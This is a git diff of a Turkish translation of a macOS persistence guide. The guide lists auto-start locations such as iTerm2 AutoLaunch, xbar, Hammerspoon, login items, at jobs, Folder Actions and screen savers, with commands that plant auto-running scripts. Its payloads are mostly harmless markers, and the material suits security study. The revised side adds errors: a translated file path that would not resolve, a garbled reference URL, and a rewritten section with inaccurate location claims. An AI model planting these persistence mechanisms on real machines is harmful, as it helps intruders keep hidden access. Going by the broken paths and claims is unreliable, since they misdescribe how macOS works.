@ -373,14 +373,14 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Kum sandığını atlamak için yararlı: [](https://emojipedia.org/check-mark-button) * Kum sandığını atlamak için yararlı: [](https://emojipedia.org/check-mark-button)
* Ancak, `crontab` ikilisini çalıştırabilmeniz gerekir * Ancak, `crontab` ikilisini yürütebilmelisiniz
* Veya root olmanız gerekir * Veya root olmalısınız
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>`yı çalıştırabilirseniz root gerekli değildir * Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>`yı yürütebiliyorsanız root gerekli değildir
* **Tetikleyici**: Cron işine bağlıdır * **Tetikleyici**: Cron işine bağlıdır
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
@ -389,9 +389,9 @@ Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumların
```bash ```bash
crontab -l crontab -l
``` ```
MacOS'ta, **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** (root gerektirir) dizinlerinde kullanıcıların tüm cron işlerini görebilirsiniz. Kullanıcıların tüm cron işlerini **`/usr/lib/cron/tabs/`** ve **`/var/at/tabs/`** (root gerektirir) dizinlerinde görebilirsiniz.
MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir: MacOS'ta belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir:
```bash ```bash
# The one with the cron jobs is /usr/lib/cron/tabs/ # The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
@ -414,11 +414,11 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilb
#### Konumlar #### Konumlar
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
* **Tetikleyici**: iTerm aç * **Tetikleyici**: iTerm açılınca
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
* **Tetikleyici**: iTerm aç * **Tetikleyici**: iTerm açılınca
* **`~/Library/Preferences/com.googlecode.iterm2.plist`** * **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **Tetikleyici**: iTerm aç * **Tetikleyici**: iTerm açılınca
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
@ -431,38 +431,25 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
``` ```
## macOS Auto-Start Locations ## macOS Otomatik Başlatma Konumları
### Launch Agents macOS'ta, oturum açtığınızda başlatılan uygulamaları belirleyen çeşitli konumlar vardır. Bu konumlar, kullanıcı oturum açtığında otomatik olarak başlatılacak uygulamaları tanımlamanıza olanak tanır. Aşağıda, macOS'ta otomatik başlatma konumlarının bir listesi bulunmaktadır:
Launch Agents are used to run processes when a user logs in. They are stored in the following locations: ### Kullanıcı Otomatik Başlatma Konumları
- `/Library/LaunchAgents/` 1. **Login Items**: Sistem Tercihleri > Kullanıcılar ve Gruplar > Giriş Öğeleri
- `/System/Library/LaunchAgents/` 2. **Launch Agents**: `~/Library/LaunchAgents/`
- `/Users/username/Library/LaunchAgents/` 3. **Launch Daemons**: `/Library/LaunchDaemons/`
4. **Login Hooks**: `/Library/Security/SecurityAgentPlugins/`
### Launch Daemons ### Sistem Otomatik Başlatma Konumları
Launch Daemons are used to run processes at system startup. They are stored in the following locations: 1. **Startup Items**: `/Library/StartupItems/` (macOS Catalina ve sonrasında desteklenmemektedir)
2. **Launch Agents**: `/Library/LaunchAgents/` ve `/System/Library/LaunchAgents/`
3. **Launch Daemons**: `/Library/LaunchDaemons/` ve `/System/Library/LaunchDaemons/`
4. **Startup Scripts**: `/etc/rc.common` ve `/etc/rc.local`
- `/Library/LaunchDaemons/` Bu konumlar, macOS'ta otomatik başlatma yapılandırmalarını denetlemek ve gerektiğinde istenmeyen uygulamaları devre dışı bırakmak için kullanılabilir.
- `/System/Library/LaunchDaemons/`
### Login Items
Login Items are applications that open when a user logs in. They can be managed in:
- `System Preferences > Users & Groups > Login Items`
### Startup Items
Startup Items are legacy items that automatically launch when a user logs in. They are stored in:
- `/Library/StartupItems/`
### Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They can be viewed and managed using the `crontab` command.
```bash ```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -479,7 +466,7 @@ await iterm2.Window.async_create(connection)
iterm2.run_forever(main) iterm2.run_forever(main)
EOF EOF
``` ```
Betik **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** de yürütülecektir: Betik **`~/Kütüphane/Uygulama Desteği/iTerm2/Scripts/AutoLaunch.scpt`** de yürütülecektir:
```bash ```bash
do shell script "touch /tmp/iterm2-autolaunchscpt" do shell script "touch /tmp/iterm2-autolaunchscpt"
``` ```
@ -487,7 +474,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
Bu ayar, iTerm2 ayarlarında yapılandırılabilir: Bu ayar, iTerm2 ayarlarında yapılandırılabilir:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Ve komut tercihlere yansıtılır: Ve komut tercihlere yansıtılır:
```bash ```bash
@ -515,7 +502,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %} {% endcode %}
{% hint style="warning" %} {% hint style="warning" %}
İTerm2 tercihlerini kötüye kullanmak için **başka yolların** yüksek olasılıkla olduğu düşünülmektedir. İTerm2 tercihlerini kötüye kullanmak için **başka yolların** olması muhtemeldir.
{% endhint %} {% endhint %}
### xbar ### xbar
@ -534,7 +521,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilb
#### Açıklama #### Açıklama
Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizininde yazılabilir: Eğer popüler program [**xbar**](https://github.com/matryer/xbar) yüklü ise, xbar başlatıldığında çalıştırılacak olan bir kabuk betiği **`~/Library/Application\ Support/xbar/plugins/`** dizinine yazılabilir:
```bash ```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash #!/bin/bash
@ -558,9 +545,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Açıklama #### Açıklama
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan bir otomasyon platformu olarak **macOS** için hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır. [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır.
Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve betik başlatıldığında yürütülür. Uygulama, tek bir dosya olan `~/.hammerspoon/init.lua` dosyasını arar ve başlatıldığında betik yürütülür.
```bash ```bash
mkdir -p "$HOME/.hammerspoon" mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF cat > "$HOME/.hammerspoon/init.lua" << EOF
@ -578,11 +565,11 @@ EOF
* `~/Library/Application Support/BetterTouchTool/*` * `~/Library/Application Support/BetterTouchTool/*`
Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, kendi **kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir). Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldırgan, **kendi kısayolunu ve eylemini yürütmek için veritabanında yapılandırabilir** ve keyfi kod yürütebilir (bir kısayol sadece bir tuşa basmak olabilir).
### Alfred ### Alfred
* Kullanışlıdır çünkü kum havuzunu atlar: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak Alfred yüklü olmalıdır * Ancak Alfred yüklü olmalıdır
* TCC atlatma: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor * Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor
@ -591,13 +578,13 @@ Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri yürü
* `???` * `???`
Belirli koşullar karşılandığında kod yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanabilmek için premium sürümü kullanmak gereklidir). Belirli koşullar karşılandığında kodu yürütebilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması mümkündür (iş akışlarını kullanmak için premium sürümü satın almak gerekmektedir).
### SSHRC ### SSHRC
ıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Kullanışlıdır çünkü kum havuzunu atlar: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlıdır: [](https://emojipedia.org/check-mark-button)
* Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır * Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır
* TCC atlatma: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* SSH'nin FDA erişimine sahip olması gerekmektedir * SSH'nin FDA erişimine sahip olması gerekmektedir
@ -605,10 +592,10 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilb
#### Konum #### Konum
* **`~/.ssh/rc`** * **`~/.ssh/rc`**
* **Tetikleyici**: SSH üzerinden oturum açma * **Tetikleyici**: ssh üzerinden oturum açma
* **`/etc/ssh/sshrc`** * **`/etc/ssh/sshrc`**
* Root gereklidir * Root gereklidir
* **Tetikleyici**: SSH üzerinden oturum açma * **Tetikleyici**: ssh üzerinden oturum açma
{% hint style="danger" %} {% hint style="danger" %}
SSH'yi açmak için Tam Disk Erişimi gereklidir: SSH'yi açmak için Tam Disk Erişimi gereklidir:
@ -633,7 +620,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilb
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **Tetikleyici:** Giriş * **Tetikleyici:** Giriş
* Sömürü yükü, **`osascript`** çağrısıyla depolanmıştır * Sömürü yükü, **`osascript`**'i çağırarak depolanmıştır
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **Tetikleyici:** Giriş * **Tetikleyici:** Giriş
* Root gereklidir * Root gereklidir
@ -652,49 +639,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr
#Remove an item: #Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"' osascript -e 'tell application "System Events" to delete login item "itemname"'
``` ```
Bu öğeler **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** dosyasında saklanır. Bu öğeler dosyada **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** saklanır.
**Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'sini kullanarak belirtilebilir, bu da yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** dosyasında saklayacaktır. **Giriş öğeleri** ayrıca [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) API'si kullanılarak da belirtilebilir, bu da yapılandırmayı **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** konumunda saklayacaktır.
### ZIP olarak Giriş Öğesi ### ZIP olarak Giriş Öğesi
(Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır) (Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır)
Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** içinde saklanmış ve **`LaunchAgents/file.plist`** adlı bir arka kapı içeren bir Klasör içeriyorsa (varsayılan olarak değil), o klasör oluşturulacak ve plist eklenecektir, böylece kullanıcı bir dahaki sefer oturum açtığında, **plist'te belirtilen arka kapı yürütülecektir**. Eğer bir **ZIP** dosyasını bir **Giriş Öğesi** olarak saklarsanız, **`Archive Utility`** onu açacak ve örneğin ZIP dosyası **`~/Library`** konumunda saklanmış ve içinde **`LaunchAgents/file.plist`** adında bir arka kapı bulunduran bir Klasör içeriyorsa (varsayılan olarak bulunmaz), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanıcı tekrar oturum açtığında, **plist'te belirtilen arka kapı yürütülecektir**.
Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı HOME içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır. Başka bir seçenek, **`.bash_profile`** ve **`.zshenv`** dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır.
### At ### At
ıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir** * Ancak **`at`** komutunu **çalıştırmanız** ve etkin olması gerekmektedir
* TCC atlaması: [🔴](https://emojipedia.org/large-red-circle) * TCC atlaması: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* **`at`**'ı **çalıştırmanız** ve etkin olması **gerekmektedir** * **`at`** komutunu **çalıştırmanız** ve etkin olması gerekmektedir
#### **Açıklama** #### **Açıklama**
`at` görevleri, belirli zamanlarda yürütülmek üzere **tek seferlik görevlerin zamanlamasını** sağlamak için tasarlanmıştır. Cron işleri gibi, `at` görevleri otomatik olarak yürütmeden sonra kaldırılır. Bu görevlerin sistem yeniden başlatmaları arasında kalıcı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretler. `at` görevleri, belirli zamanlarda yürütülmek üzere **tek seferlik görevlerin zamanlamasını** sağlamak için tasarlanmıştır. Cron işleri gibi, `at` görevleri otomatik olarak yürütmeden sonra kaldırılır. Bu görevlerin sistem yeniden başlatmaları arasında kalıcı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretler.
**Varsayılan olarak** devre dışı bırakılmışlardır ancak **root** kullanıcısı bunları **etkinleştirebilir**. **Varsayılan olarak** devre dışı bırakılmışlardır ancak **root** kullanıcısı bunları aşağıdaki şekilde **etkinleştirebilir**:
```bash ```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
``` ```
Bu, 1 saat içinde bir dosya oluşturacaktır: Bu, 1 saat içinde bir dosya oluşturacak:
```bash ```bash
echo "echo 11 > /tmp/at.txt" | at now+1 echo "echo 11 > /tmp/at.txt" | at now+1
``` ```
İş kuyruğunu `atq` kullanarak kontrol edin: İş kuyruğunu `atq` komutunu kullanarak kontrol edin:
```shell-session ```shell-session
sh-3.2# atq sh-3.2# atq
26 Tue Apr 27 00:46:00 2021 26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021 22 Wed Apr 28 00:29:00 2021
``` ```
Yukarıda iki zamanlanmış iş görebiliriz. İşin detaylarını `at -c İŞNUMARASI` kullanarak yazdırabiliriz. Yukarıda iki zamanlanmış iş görebiliriz. İşi ayrıntılarıyla yazdırmak için `at -c İŞNUMARASI` kullanabiliriz.
```shell-session ```shell-session
sh-3.2# at -c 26 sh-3.2# at -c 26
#!/bin/sh #!/bin/sh
@ -744,22 +731,22 @@ Dosya adı sırayı, iş numarasını ve çalışma zamanını içerir. Örneği
* `0001a` - onaltılık iş numarası, `0x1a = 26` * `0001a` - onaltılık iş numarası, `0x1a = 26`
* `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalık olarak `26991826`'dır. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'yi temsil eder. * `019bdcd2` - onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2`, ondalık olarak `26991826`'dır. 60 ile çarptığımızda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00`'yi temsil eder.
İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz. İş dosyasını yazdırırsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini buluruz.
### Klasör Eylemleri ### Klasör Eylemleri
ıklama: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ ıklama: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
ıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) ıklama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kumbarayı atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* Ancak **`System Events`** ile iletişim kurabilmek için `osascript`'i argümanlarla çağırabilmeniz gerekir. * Ancak, Klasör Eylemlerini yapılandırmak için **`System Events`** ile iletişim kurabilmek için `osascript`'ı argümanlarla çağırabilmeniz gerekir
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir * Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
#### Konum #### Konum
* **`/Library/Scripts/Folder Action Scripts`** * **`/Library/Scripts/Folder Action Scripts`**
* Kök izni gereklidir * Root gereklidir
* **Tetikleyici**: Belirtilen klasöre erişim * **Tetikleyici**: Belirtilen klasöre erişim
* **`~/Library/Scripts/Folder Action Scripts`** * **`~/Library/Scripts/Folder Action Scripts`**
* **Tetikleyici**: Belirtilen klasöre erişim * **Tetikleyici**: Belirtilen klasöre erişim
@ -818,28 +805,28 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
``` ```
{% endcode %} {% endcode %}
Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o folder.scpt source.js` Aşağıdaki komutla derleyin: `osacompile -l JavaScript -o klasor.scpt kaynak.js`
Taşıyın: Taşıyın:
```bash ```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
``` ```
Ardından, `Folder Actions Setup` uygulamasınıın, **izlemek istediğiniz klasörü seçin** ve durumunuzda **`folder.scpt`**'yi seçin (benim durumumda ona output2.scp adını verdim): Ardından, `Folder Actions Setup` uygulamasınıın, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda **`folder.scpt`**'yi seçin (benim durumumda buna output2.scp adını verdim):
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Şimdi, eğer o klasörü **Finder** ile açarsanız, betiğiniz çalıştırılacaktır. Şimdi, eğer o klasörü **Finder** ile açarsanız, betiğiniz çalıştırılacaktır.
Bu yapılandırma, base64 formatında **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** konumunda saklanmıştır. Bu yapılandırma, base64 formatında **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** konumunda saklanmıştır.
Şimdi, GUI erişimi olmadan bu kalıcılığı hazırlamayı deneyelim: Şimdi, bu kalıcılığı GUI erişimi olmadan hazırlamayı deneyelim:
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**'yi yedeklemek için `/tmp`'ye kopyalayın: 1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**'yi yedeklemek için `/tmp`'ye kopyalayın:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. Şimdi, ayarladığınız Klasör Eylemlerini **kaldırın**: 2. Şimdi, ayarladığınız Klasör Eylemlerini **kaldırın**:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Şimdi boş bir ortama sahip olduğumuza göre Şimdi boş bir ortama sahip olduğumuza göre
@ -867,7 +854,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`** Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: **`~/Library/Preferences/com.apple.dock.plist`**
Sadece şu şekilde bir uygulama **eklemek mümkündür**: Sadece şu şekilde bir uygulama eklemek mümkündür:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -951,9 +938,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbi
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde](macos-auto-start-locations.md#screen-saver) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayın. Kodunuzla bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz**](https://github.com/viktorstrate/color-picker-plus)) ve bir yapılandırıcı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde olduğu gibi](macos-auto-start-locations.md#screen-saver)) ve paketi `~/Library/ColorPickers` dizinine kopyalayın.
Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir. Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da tetiklenmelidir.
Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu** olduğunu unutmayın: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
@ -982,7 +969,7 @@ Kütüphanenizi yükleyen ikili dosyanın **çok kısıtlayıcı bir kum havuzu*
#### Açıklama ve Sızma #### Açıklama ve Sızma
Bir Finder Senkronizasyon Uzantısı örneği içeren bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync). Bir Finder Senkronizasyon Uzantısı örneği olan bir uygulama [**burada bulunabilir**](https://github.com/D00MFist/InSync).
Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır: Uygulamalar `Finder Senkronizasyon Uzantıları`na sahip olabilir. Bu uzantı, çalıştırılacak bir uygulamanın içine gidecektir. Dahası, uzantının kodunu çalıştırabilmesi için **bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir**, **kum havuzunda olmalıdır** (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır:
```bash ```bash
@ -992,7 +979,7 @@ pluginkit -e use -i com.example.InSync.InSync
### Ekran Koruyucu ### Ekran Koruyucu
ıklama: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ ıklama: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
ıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) ıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf5bf90b)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak genel bir uygulama kum havuzunda sonlanacaksınız * Ancak genel bir uygulama kum havuzunda sonlanacaksınız
@ -1001,19 +988,19 @@ Açıklama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:
#### Konum #### Konum
* `/System/Library/Screen Savers` * `/System/Library/Screen Savers`
* Root gerekli * Kök erişimi gereklidir
* **Tetikleyici**: Ekran koruyucusunu seçin * **Tetikleyici**: Ekran koruyucusunu seçin
* `/Library/Screen Savers` * `/Library/Screen Savers`
* Root gerekli * Kök erişimi gereklidir
* **Tetikleyici**: Ekran koruyucusunu seçin * **Tetikleyici**: Ekran koruyucusunu seçin
* `~/Library/Screen Savers` * `~/Library/Screen Savers`
* **Tetikleyici**: Ekran koruyucusunu seçin * **Tetikleyici**: Ekran koruyucusunu seçin
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Açıklama ve Sömürü #### Açıklama ve Sızma
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu kullanarak kodunuzu ekleyin. Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu kullanarak log oluşturmak için kodunuzu ekleyin.
**Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok log oluşturmalıdır: **Derleyin** ve `.saver` paketini **`~/Library/Screen Savers`** dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'yi açın ve üzerine tıkladığınızda birçok log oluşturmalıdır:
@ -1029,10 +1016,10 @@ Timestamp (process)[PID]
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
